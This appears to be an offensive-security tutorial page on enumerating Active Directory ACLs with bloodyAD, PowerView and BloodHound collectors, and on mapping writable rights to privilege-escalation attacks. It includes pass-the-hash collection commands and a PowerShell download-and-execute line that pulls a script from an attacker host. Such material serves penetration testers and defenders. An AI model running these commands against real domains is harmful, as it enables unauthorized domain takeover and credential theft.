# ACL Enumeration

> Techniques for enumerating Access Control Lists in Active Directory to identify misconfigured permissions and potential privilege escalation paths.

- **URL:** https://hackindex.io/platforms/active-directory/enumeration/active-directory-acl-enumeration
- **Path:** Active Directory > Enumeration
- **Up:** [Enumeration](https://hackindex.io/platforms/active-directory/enumeration.md)
- **Published:** 2026-04-05
- **Updated:** 2026-08-11

ACLs in Active Directory control who can read, modify, and delete objects and their attributes. Misconfigured ACLs are among the most impactful privilege escalation paths in AD environments: a single GenericWrite or WriteDACL on a privileged account can give you direct control without exploiting any software vulnerability. ACL enumeration identifies these paths so you know what to abuse.

## Find writable objects

BloodyAD's `get writable` scans the directory for objects your current account has write permissions on. This is the fastest way to identify ACL-based attack paths from your current context.

#### Kali (bloodyAD)

**Find writable AD objects (bloodyAD)**

```bash
# All objects current user can write to
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable

# Detailed output: shows which attributes are writable
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --detail

# Include deleted objects
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --include-del
# distinguishedName: CN=svc-web,CN=Users,DC=corp,DC=local
#   RIGHT: WRITE_PROP
#   attribute: servicePrincipalName
#
# distinguishedName: CN=WS01,CN=Computers,DC=corp,DC=local
#   RIGHT: WRITE_PROP
#   attribute: msDS-AllowedToActOnBehalfOfOtherIdentity
```

#### Windows (PowerView)

**Find writable AD objects (PowerView)**

```powershell
# Find all interesting ACLs for current user: resolves GUIDs to readable names
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match $USER}

# Find write/modify rights for current user on any object
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.IdentityReferenceName -match $USER -and
    $_.ActiveDirectoryRights -match 'Write|GenericAll|GenericWrite|WriteDacl|WriteOwner'
}

# Check ACL on specific user or group
Get-DomainObjectAcl -Identity $TARGET_USER -ResolveGUIDs | Select-Object IdentityReferenceName, ActiveDirectoryRights, ObjectAceType
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
```

Each finding maps directly to an attack:

- Writable `servicePrincipalName` on a user: set an SPN and Kerberoast it
- Writable `msDS-AllowedToActOnBehalfOfOtherIdentity` on a computer: RBCD abuse, impersonate any user to that host
- Writable `member` on a privileged group: add yourself to Domain Admins
- Writable `userAccountControl`: enable DONT_REQ_PREAUTH for AS-REP Roasting
- GenericWrite or GenericAll on any object: full control of that object

## BloodHound: automated ACL path analysis

BloodHound maps ACL chains across the entire domain and finds multi-hop paths from your current account to Domain Admin. BloodHound finds the path, BloodyAD executes it.

#### Kali (bloodhound-python)

**BloodHound collection from Linux**

```bash
# Install
pipx install bloodhound

# Full collection: all methods
bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c All

# Stealth: DC only queries (less noisy, slower)
bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c DCOnly

# With Pass-the-Hash
bloodhound-python -d $DOMAIN -u $USER --hashes :$NTHASH -dc $TARGET_IP -c All
# INFO: Found AD domain: corp.local
# INFO: Found 3 computers
# INFO: Found 24 users
# INFO: Found 15 groups
# INFO: Done in 00M 12S
```

#### Windows (SharpHound)

**BloodHound collection from Windows**

```powershell
# On Kali: /usr/share/sharphound/SharpHound.exe
# Full collection
C:\Windows\Temp\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\bh

# Stealth
C:\Windows\Temp\SharpHound.exe -c DCOnly --outputdirectory C:\Windows\Temp\bh

# Load from memory
IEX (New-Object Net.WebClient).DownloadString('http://$LHOST/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All
```

After collection, load the ZIP into BloodHound and run these first:

- **Shortest Paths to Domain Admins**: fewest hops from your account to DA
- **Find Principals with DCSync Rights**: accounts that can dump all domain hashes
- **Shortest Path from Owned Principals**: mark your account as owned, then run this
- **Find Computers with Unconstrained Delegation**: high-value coercion targets

## Key ACL rights

| Right | What you can do | Attack |
| --- | --- | --- |
| GenericAll | Full control of object | Change password, add to group, set SPN |
| GenericWrite | Write any attribute | Set SPN for Kerberoasting, set RBCD, shadow credentials |
| WriteOwner | Change object owner | Take ownership, then grant yourself GenericAll |
| WriteDACL | Modify ACL | Grant yourself GenericAll or DCSync rights |
| ForceChangePassword | Reset password without knowing current | Set known password, authenticate as target |
| AddMember | Add members to group | Add yourself to Domain Admins or privileged group |
| Self | Add yourself to object | Add self to group if Self on group membership |

Each right maps to a specific exploitation technique. For how to abuse them see [ACL Abuse Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation/acl-abuse-privilege-escalation).

Related

## References

- [BloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD) - get writable command reference and detail flag
- [BloodHound.py (GitHub)](https://github.com/dirkjanm/BloodHound.py) - Linux-based BloodHound data collector
- [BloodHound CE (GitHub)](https://github.com/SpecterOps/BloodHound) - Community Edition source and Docker Compose setup
- [PowerSploit / PowerView (GitHub)](https://github.com/PowerShellMafia/PowerSploit) - Find-InterestingDomainAcl and Get-DomainObjectAcl reference